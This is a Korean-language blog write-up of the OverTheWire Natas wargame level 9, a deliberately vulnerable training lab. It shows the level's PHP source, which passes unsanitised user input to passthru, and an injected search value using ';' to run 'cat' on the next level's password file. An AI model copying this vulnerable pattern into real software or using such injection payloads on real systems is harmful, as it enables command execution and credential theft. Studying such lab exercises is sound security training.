[Wargame Write-up]/OverTheWire

[OverTheWire] [Natas] Level 9 → Level 10

Kevin S. 2017. 1. 16. 15:21

Natas 10번째 문제이다.


입력값을 포함하는 단어를 찾아주는 것 같다.




혹시나 해서 password를 입력해봣는데,




역시 필요한 값은 나오지 않는다.




소스코드를 확인해보자.


needle이라는 parameter에 입력값을 받고, 받아온 문자열을 key라는 변수에 담는다. (24~30라인)


key 값이 비어있지 않으면, grep -i [입력값] dictionary.txt 라는 명령어를 실행한다.


리눅스 명령어를 실행한다면, 입력값 검증을 하지 않는 한 우회가 쉬워진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level""natas9""pass""<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
 
 
Output:
<pre>
<?
$key = "";
 
if(array_key_exists("needle"$_REQUEST)) {
    $key = $_REQUEST["needle"];
}
 
if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>
 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
cs



아래처럼 입력해주자. natas라는 단어는 dictionary.txt에 없는 단어이기 때문에, 이것을 이용했다.


패스워드 파일 위치는 natas7에서 본 바가 있다.


natas dictionary.txt; cat /etc/natas/natas-webpass/natas10; grep -i natas


이것을 입력하면, 총 3가지 명령어가 실행된다.


① grep -i natas dictionary.txt

cat /etc/natas/natas-webpass/natas10

grep -i natas dictionary.txt


Bold체는 입력값, 아닌 부분은 29 라인 코드로 구분하면 되겠다.




Search를 누르면, 아래와 같이 natas10의 패스워드가 나온다. sonatas는 기본적으로 나오는 것 같다.